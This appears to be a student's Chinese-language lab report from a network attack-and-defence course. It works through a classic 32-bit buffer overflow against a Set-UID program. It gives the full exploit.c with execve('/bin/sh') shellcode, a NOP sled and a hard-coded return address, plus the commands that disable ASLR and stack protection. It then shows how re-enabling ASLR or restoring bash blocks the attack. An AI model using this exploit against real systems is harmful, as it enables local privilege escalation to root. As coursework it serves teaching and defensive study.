2017-2018-2 20179205《網絡攻防技術與實踐》第十週做業 緩衝區溢出攻防研究

《網絡攻防技術與實踐》第十週做業 緩衝區溢出攻防研究

1、實驗簡介

緩衝區溢出是指程序試圖向緩衝區寫入超出預分配固定長度數據的狀況。這一漏洞能夠被惡意用戶利用來改變程序的流控制，甚至執行代碼的任意片斷。這一漏洞的出現是因爲數據緩衝器和返回地址的暫時關閉，溢出會引發返回地址被重寫。

2、實驗準備

實驗樓提供的是64位Ubuntu linux，而本次實驗爲了方便觀察彙編語句，咱們須要在32位環境下做操做，所以實驗以前須要作一些準備。

一、輸入命令安裝一些用於編譯32位C程序的東西：

3、攻擊漏洞程序並得到root權限

3.1初始設置

• 輸入命令「linux32」進入32位linux環境。此時你會發現，命令行用起來沒那麼爽了，好比不能tab補全了，因此輸入「/bin/bash」使用bash

• Ubuntu和其餘一些Linux系統中，使用地址空間隨機化來隨機堆（heap）和棧（stack）的初始地址，這使得猜想準確的內存地址變得十分困難，而猜想內存地址是緩衝區溢出攻擊的關鍵。所以本次實驗中，咱們使用如下命令關閉這一功能：

  sudo sysctl -w kernel.randomize_va_space=0

• 此外，爲了進一步防範緩衝區溢出攻擊及其它利用shell程序的攻擊，許多shell程序在被調用時自動放棄它們的特權。所以，即便你能欺騙一個Set-UID程序調用一個shell，也不能在這個shell中保持root權限，這個防禦措施在/bin/bash中實現。

• linux系統中，/bin/sh實際是指向/bin/bash或/bin/dash的一個符號連接。爲了重現這一防禦措施被實現以前的情形，咱們使用另外一個shell程序（zsh）代替/bin/bash。設置zsh程序：

3.2 shellcode

通常狀況下，緩衝區溢出會形成程序崩潰，在程序中，溢出的數據覆蓋了返回地址。而若是覆蓋返回地址的數據是另外一個地址，那麼程序就會跳轉到該地址，若是該地址存放的是一段精心設計的代碼用於實現其餘功能，這段代碼就是shellcode。

3.3 漏洞程序

新建stack.c文件，保存在/tmp目錄下：

經過代碼能夠知道，程序會讀取一個名爲「badfile」的文件，並將文件內容裝入「buffer」。
編譯該程序，並設置SET-UID。以下：

GCC編譯器有一種棧保護機制來阻止緩衝區溢出，因此咱們在編譯代碼時須要用 –fno-stack-protector 關閉這種機制。而 -z execstack 用於容許執行棧。

3.4 攻擊程序

咱們的目的是攻擊剛纔的漏洞程序，並經過攻擊得到root權限。新建「exploit.c」文件，保存到 /tmp 目錄下。代碼以下：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"//xorl %eax,%eax
"\x50"//pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"//movl %esp,%ebx
"\x50"//pushl %eax
"\x53"//pushl %ebx
"\x89\xe1"//movl %esp,%ecx
"\x99"//cdq
"\xb0\x0b"//movb $0x0b,%al
"\xcd\x80"//int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

注意上面的代碼，「\x??\x??\x??\x??」處須要添上shellcode保存在內存中的地址，由於發生溢出後這個位置恰好能夠覆蓋返回地址。

而 strcpy(buffer+100,shellcode); 這一句又告訴咱們，shellcode保存在 buffer+100 的位置。

如今咱們要獲得shellcode在內存中的地址，輸入命令：

gdb stack
disass main

結果如圖：

接下來的操做：

根據語句 strcpy(buffer+100,shellcode),計算shellcode的地址爲 0xffffd060(十六進制)+100(十進制)=0xffffd0c4(十六進制)

修改exploit.c文件,將 \x??\x??\x??\x?? 修改成 \xc4\xd0\xff\xff

而後，編譯exploit.c程序：

gcc -m32 -o exploit exploit.c

3.5 攻擊結果

先運行攻擊程序exploit，再運行漏洞程序stack，觀察結果：

實驗二：打開系統的地址空間隨機化機制，重複用exploit程序攻擊stack程序，發現不能得到root權限

初始設置：

設置zsh程序：

從新建stack,c文件，保存在/tmp目錄下：

編譯該程序，並設置SET-UID：

新建exploit.c，一樣保存在/tmp目錄下：

爲獲得shellcode在內存中的地址，輸入命令：

gdb stack
disass main

修改shellcode的地址：

重複用exploit程序攻擊stack程序，發現沒有攻擊成功，不能得到root權限：

實驗三：將/bin/sh從新指向/bin/bash（或/bin/dash），觀察可否攻擊成功，可否得到root權限。

當關閉空間地址隨機化時，能夠攻擊成功，得到root權限：

當打開系統的地址空間隨機化機制，攻擊失敗，沒法得到root權限。